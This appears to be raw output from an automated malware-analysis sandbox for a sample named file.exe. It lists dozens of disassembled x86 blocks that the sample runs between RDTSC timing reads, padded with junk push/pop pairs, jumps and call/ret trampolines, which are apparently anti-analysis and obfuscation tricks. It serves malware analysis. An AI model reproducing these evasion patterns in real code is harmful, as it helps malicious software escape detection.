Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCC437 second address: FCC484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 add dword ptr [esp], 006ECE01h 0x0000000d or edi, dword ptr [ebp+122D2BA2h] 0x00000013 push 00000003h 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122D30AAh], edx 0x0000001d push 00000003h 0x0000001f add edx, 23509F3Bh 0x00000025 mov dx, 82F4h 0x00000029 call 00007FD18CD363B9h 0x0000002e pushad 0x0000002f jmp 00007FD18CD363C7h 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCC484 second address: FCC4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD18CB1866Bh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD18CB18671h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCC4AB second address: FCC4B5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD18CD363B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCC4B5 second address: FCC4BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCC4BB second address: FCC4BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCC4BF second address: FCC4FC instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD18CB18666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jng 00007FD18CB1866Eh 0x00000016 jng 00007FD18CB18668h 0x0000001c pushad 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 jbe 00007FD18CB18674h 0x00000026 push ebx 0x00000027 jmp 00007FD18CB1866Ch 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 push ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 push esi 0x00000035 pop esi 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCC4FC second address: FCC525 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD18CD363B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b pop eax 0x0000000c mov ecx, dword ptr [ebp+122D30C3h] 0x00000012 lea ebx, dword ptr [ebp+124521A0h] 0x00000018 jmp 00007FD18CD363BCh 0x0000001d push eax 0x0000001e push esi 0x0000001f push ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCC5C3 second address: FCC62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FD18CB18668h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 mov edi, 2EDF4397h 0x00000027 push 00000000h 0x00000029 jne 00007FD18CB1867Ah 0x0000002f push A9E93884h 0x00000034 push eax 0x00000035 push edx 0x00000036 jnp 00007FD18CB18674h 0x0000003c jmp 00007FD18CB1866Eh 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCC62C second address: FCC636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FD18CD363B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCC636 second address: FCC6BF instructions: 0x00000000 rdtsc 0x00000002 je 00007FD18CB18666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 5616C7FCh 0x00000013 adc edi, 7A3FA944h 0x00000019 push 00000003h 0x0000001b call 00007FD18CB18670h 0x00000020 mov dword ptr [ebp+122D3A9Ch], eax 0x00000026 pop edx 0x00000027 push 00000000h 0x00000029 mov cx, 480Dh 0x0000002d push 00000003h 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 call 00007FD18CB18668h 0x00000037 pop esi 0x00000038 mov dword ptr [esp+04h], esi 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc esi 0x00000045 push esi 0x00000046 ret 0x00000047 pop esi 0x00000048 ret 0x00000049 mov esi, dword ptr [ebp+122D3A5Eh] 0x0000004f call 00007FD18CB18669h 0x00000054 push ecx 0x00000055 jmp 00007FD18CB18679h 0x0000005a pop ecx 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCC6BF second address: FCC6C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCC6C3 second address: FCC6C9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCC6C9 second address: FCC719 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD18CD363BDh 0x00000008 jnl 00007FD18CD363B6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push edx 0x00000016 jmp 00007FD18CD363BEh 0x0000001b pop edx 0x0000001c mov eax, dword ptr [eax] 0x0000001e pushad 0x0000001f pushad 0x00000020 jbe 00007FD18CD363B6h 0x00000026 ja 00007FD18CD363B6h 0x0000002c popad 0x0000002d push eax 0x0000002e push esi 0x0000002f pop esi 0x00000030 pop eax 0x00000031 popad 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 pushad 0x00000037 je 00007FD18CD363BCh 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEE435 second address: FEE439 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEE439 second address: FEE43F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBAB3B second address: FBAB66 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD18CB18666h 0x00000008 jmp 00007FD18CB18670h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007FD18CB1866Bh 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEC2B5 second address: FEC2B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEC54D second address: FEC552 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEC552 second address: FEC55A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEC6D6 second address: FEC6E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEC6E2 second address: FEC6E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEC876 second address: FEC88D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jno 00007FD18CB18666h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d js 00007FD18CB1868Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FECB87 second address: FECB97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD18CD363B6h 0x0000000a jne 00007FD18CD363B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FECCFB second address: FECD09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD18CB18666h 0x0000000a pop esi 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FED2A7 second address: FED2B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD18CD363BCh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FED2B9 second address: FED2BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FED2BD second address: FED2C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FED2C1 second address: FED2D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007FD18CB18666h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FED574 second address: FED591 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363C7h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FED591 second address: FED598 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEDCEF second address: FEDCF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEDCF3 second address: FEDCFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEDFC9 second address: FEDFD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEDFD3 second address: FEE008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD18CB1866Eh 0x00000009 jmp 00007FD18CB18679h 0x0000000e popad 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEE008 second address: FEE029 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FD18CD363CBh 0x0000000c jmp 00007FD18CD363C5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEE029 second address: FEE044 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD18CB18671h 0x00000009 jne 00007FD18CB18666h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEE044 second address: FEE04E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD18CD363B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FEE307 second address: FEE311 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD18CB18666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF29CF second address: FF29D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF29D4 second address: FF2A1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD18CB1866Eh 0x00000008 jmp 00007FD18CB18673h 0x0000000d jmp 00007FD18CB18675h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jbe 00007FD18CB18672h 0x0000001b jc 00007FD18CB1866Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBC730 second address: FBC750 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD18CD363B6h 0x00000008 jmp 00007FD18CD363C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBC750 second address: FBC75A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FD18CB18666h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF4E53 second address: FF4E59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF4FB8 second address: FF4FD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB18675h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF4FD1 second address: FF4FD6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF4FD6 second address: FF5030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 jp 00007FD18CB1867Ch 0x0000000f jmp 00007FD18CB18676h 0x00000014 pop edi 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 jmp 00007FD18CB18677h 0x0000001e mov eax, dword ptr [eax] 0x00000020 jno 00007FD18CB1866Eh 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a push ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF5030 second address: FF5034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF50F9 second address: FF50FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF528B second address: FF528F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF829E second address: FF82A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF883A second address: FF883E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FF883E second address: FF884D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007FD18CB18666h 0x0000000b pop esi 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFB8EC second address: FFB8F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFBC29 second address: FFBC2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFBE15 second address: FFBE19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFC255 second address: FFC25A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFC518 second address: FFC51D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFCC14 second address: FFCC1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFCC1C second address: FFCC4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD18CD363C4h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FD18CD363BFh 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFF1D1 second address: FFF1D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFF1D7 second address: FFF26B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov esi, dword ptr [ebp+122D24E6h] 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007FD18CD363B8h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 mov di, bx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push esi 0x00000038 call 00007FD18CD363B8h 0x0000003d pop esi 0x0000003e mov dword ptr [esp+04h], esi 0x00000042 add dword ptr [esp+04h], 0000001Ch 0x0000004a inc esi 0x0000004b push esi 0x0000004c ret 0x0000004d pop esi 0x0000004e ret 0x0000004f movsx esi, bx 0x00000052 xchg eax, ebx 0x00000053 jo 00007FD18CD363CCh 0x00000059 push edi 0x0000005a jmp 00007FD18CD363C4h 0x0000005f pop edi 0x00000060 push eax 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFF26B second address: FFF26F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FFFD77 second address: FFFD7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1001837 second address: 1001856 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD18CB1866Ch 0x00000008 jng 00007FD18CB18666h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD18CB1866Bh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1001856 second address: 100185A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100185A second address: 1001860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1001860 second address: 100186F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FD18CD363B6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1001E04 second address: 1001E78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB18679h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FD18CB18668h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 mov edi, ecx 0x00000028 push 00000000h 0x0000002a mov dword ptr [ebp+122D1E10h], esi 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007FD18CB18668h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 0000001Ah 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c xchg eax, ebx 0x0000004d push ebx 0x0000004e push esi 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1001E78 second address: 1001E85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1001E85 second address: 1001E8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1008E70 second address: 1008E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1008E74 second address: 1008E96 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD18CB18666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD18CB18670h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1008E96 second address: 1008EA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100AE68 second address: 100AE9E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD18CB1867Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD18CB1866Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100BDD0 second address: 100BDD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100BDD4 second address: 100BDF6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD18CB18675h 0x0000000b popad 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100DC8E second address: 100DC98 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD18CD363B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100DC98 second address: 100DC9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100DC9E second address: 100DCA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100DCA2 second address: 100DD15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FD18CB18675h 0x0000000e nop 0x0000000f mov edi, dword ptr [ebp+122D2986h] 0x00000015 or edi, dword ptr [ebp+122D39D2h] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007FD18CB18668h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 00000019h 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 or dword ptr [ebp+1244F549h], edx 0x0000003d push 00000000h 0x0000003f mov ebx, dword ptr [ebp+122D37DFh] 0x00000045 jne 00007FD18CB18672h 0x0000004b xchg eax, esi 0x0000004c push eax 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100053B second address: 100054B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD18CD363BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1010E83 second address: 1010E97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD18CB18670h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 100302D second address: 1003042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007FD18CD363BCh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1010E97 second address: 1010EA8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jne 00007FD18CB18666h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
